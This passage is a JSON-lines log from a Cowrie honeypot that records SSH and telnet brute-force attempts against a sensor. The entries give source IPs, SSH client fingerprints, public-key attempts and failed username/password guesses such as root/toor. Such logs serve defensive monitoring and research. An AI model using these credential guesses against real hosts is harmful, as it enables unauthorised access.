tr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:26:36.288052Z","src_ip":"103.27.238.120","session":"12790e64e1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"240992","message":"login attempt [root/240992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:26:37.134161Z","src_ip":"103.27.238.120","session":"12790e64e1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:26:38.418828Z","src_ip":"103.27.238.120","session":"12790e64e1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59312,"dst_ip":"159.203.135.109","dst_port":23,"session":"a85ee33a96fe","protocol":"telnet","message":"New connection: 170.64.224.25:59312 (159.203.135.109:23) [session: a85ee33a96fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:26:58.642137Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":52648,"dst_ip":"159.203.135.109","dst_port":23,"session":"307fdc7b2c5f","protocol":"telnet","message":"New connection: 137.184.5.188:52648 (159.203.135.109:23) [session: 307fdc7b2c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:26.157161Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":40030,"dst_ip":"10.17.0.5","dst_port":22,"session":"f238f590ff2c","protocol":"ssh","message":"New connection: 91.92.40.176:40030 (10.17.0.5:22) [session: f238f590ff2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:36.860898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:37.037511Z","src_ip":"91.92.40.176","session":"f238f590ff2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:37.040016Z","src_ip":"91.92.40.176","session":"f238f590ff2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:38.250248Z","src_ip":"91.92.40.176","session":"f238f590ff2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":33586,"dst_ip":"159.203.135.109","dst_port":22,"session":"db89e651f83d","protocol":"ssh","message":"New connection: 139.19.117.129:33586 (159.203.135.109:22) [session: db89e651f83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:38.292350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:38.295793Z","src_ip":"139.19.117.129","session":"db89e651f83d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:38.384903Z","src_ip":"139.19.117.129","session":"db89e651f83d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuGpImNMYs18pI0vf9uo92skKKko1/CECMRjQFtPUvHompfX8mflBTEd1mJkMqYbSgNydIAigxnP4PeyTTAXUsmi9076bqeYTvdQ9SSrMXJsG4xJjyfhSxfbE6w9O90BxRt1/Mx2WIK1MHwlJ2t+lCdV/Mpw93wBJYdb8I8lvWz4punK7h1KYrVMGeqGFMUzUVz7zmpytbdOrSbt9KbbMUlgYXZdpfsFoL3fxswmXG51wxisjHw62nnxb76QjAHCBZhpkhbgqSz0EGKH6s4UihQ+Zo76CxA476TajadPrWqtT+N+aBzLukpoPKprR5+G48HTGBgyyDSQRC1ObOhkQj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:38.562443Z","src_ip":"139.19.117.129","session":"db89e651f83d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuGpImNMYs18pI0vf9uo92skKKko1/CECMRjQFtPUvHompfX8mflBTEd1mJkMqYbSgNydIAigxnP4PeyTTAXUsmi9076bqeYTvdQ9SSrMXJsG4xJjyfhSxfbE6w9O90BxRt1/Mx2WIK1MHwlJ2t+lCdV/Mpw93wBJYdb8I8lvWz4punK7h1KYrVMGeqGFMUzUVz7zmpytbdOrSbt9KbbMUlgYXZdpfsFoL3fxswmXG51wxisjHw62nnxb76QjAHCBZhpkhbgqSz0EGKH6s4UihQ+Zo76CxA476TajadPrWqtT+N+aBzLukpoPKprR5+G48HTGBgyyDSQRC1ObOhkQj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:38.564212Z","src_ip":"139.19.117.129","session":"db89e651f83d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuGpImNMYs18pI0vf9uo92skKKko1/CECMRjQFtPUvHompfX8mflBTEd1mJkMqYbSgNydIAigxnP4PeyTTAXUsmi9076bqeYTvdQ9SSrMXJsG4xJjyfhSxfbE6w9O90BxRt1/Mx2WIK1MHwlJ2t+lCdV/Mpw93wBJYdb8I8lvWz4punK7h1KYrVMGeqGFMUzUVz7zmpytbdOrSbt9KbbMUlgYXZdpfsFoL3fxswmXG51wxisjHw62nnxb76QjAHCBZhpkhbgqSz0EGKH6s4UihQ+Zo76CxA476TajadPrWqtT+N+aBzLukpoPKprR5+G48HTGBgyyDSQRC1ObOhkQj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:38.654009Z","src_ip":"139.19.117.129","session":"db89e651f83d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuGpImNMYs18pI0vf9uo92skKKko1/CECMRjQFtPUvHompfX8mflBTEd1mJkMqYbSgNydIAigxnP4PeyTTAXUsmi9076bqeYTvdQ9SSrMXJsG4xJjyfhSxfbE6w9O90BxRt1/Mx2WIK1MHwlJ2t+lCdV/Mpw93wBJYdb8I8lvWz4punK7h1KYrVMGeqGFMUzUVz7zmpytbdOrSbt9KbbMUlgYXZdpfsFoL3fxswmXG51wxisjHw62nnxb76QjAHCBZhpkhbgqSz0EGKH6s4UihQ+Zo76CxA476TajadPrWqtT+N+aBzLukpoPKprR5+G48HTGBgyyDSQRC1ObOhkQj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:38.656419Z","src_ip":"139.19.117.129","session":"db89e651f83d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":36244,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad104f1cc1ca","protocol":"ssh","message":"New connection: 23.88.42.180:36244 (10.17.0.5:22) [session: ad104f1cc1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:39.466328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:39.469631Z","src_ip":"23.88.42.180","session":"ad104f1cc1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:39.518665Z","src_ip":"91.92.40.176","session":"f238f590ff2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:39.565892Z","src_ip":"23.88.42.180","session":"ad104f1cc1ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david_mazieres","password":"david123","message":"login attempt [david_mazieres/david123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:39.859519Z","src_ip":"23.88.42.180","session":"ad104f1cc1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:40.959291Z","src_ip":"23.88.42.180","session":"ad104f1cc1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:48.292607Z","src_ip":"139.19.117.129","session":"db89e651f83d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.1487603187561,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:27:51.790771Z","src_ip":"170.64.224.25","session":"a85ee33a96fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":46906,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8fe900d78b3","protocol":"ssh","message":"New connection: 67.231.24.5:46906 (159.203.135.109:22) [session: d8fe900d78b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:18.034904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:18.038967Z","src_ip":"67.231.24.5","session":"d8fe900d78b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:18.056233Z","src_ip":"67.231.24.5","session":"d8fe900d78b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linea2024","message":"login attempt [root/linea2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:18.109588Z","src_ip":"67.231.24.5","session":"d8fe900d78b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":41728,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7cc11a3a75c","protocol":"ssh","message":"New connection: 103.15.222.183:41728 (10.17.0.5:22) [session: c7cc11a3a75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:18.336818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:18.343017Z","src_ip":"103.15.222.183","session":"c7cc11a3a75c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:18.573652Z","src_ip":"103.15.222.183","session":"c7cc11a3a75c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:19.129195Z","src_ip":"67.231.24.5","session":"d8fe900d78b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31101982","message":"login attempt [root/31101982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:19.492588Z","src_ip":"103.15.222.183","session":"c7cc11a3a75c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:20.725676Z","src_ip":"103.15.222.183","session":"c7cc11a3a75c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":33934,"dst_ip":"159.203.135.109","dst_port":22,"session":"39a5ad7b26ad","protocol":"ssh","message":"New connection: 198.57.219.18:33934 (159.203.135.109:22) [session: 39a5ad7b26ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:26.885847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:26.890615Z","src_ip":"198.57.219.18","session":"39a5ad7b26ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:26.972591Z","src_ip":"198.57.219.18","session":"39a5ad7b26ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sierraleone","password":"Freetown#Bitc0!n$M@st3r","message":"login attempt [sierraleone/Freetown#Bitc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:27.219463Z","src_ip":"198.57.219.18","session":"39a5ad7b26ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":45544,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec4a0276930b","protocol":"ssh","message":"New connection: 132.148.155.138:45544 (159.203.135.109:22) [session: ec4a0276930b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:29.722664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:29.726329Z","src_ip":"132.148.155.138","session":"ec4a0276930b","protocol":"ssh"}
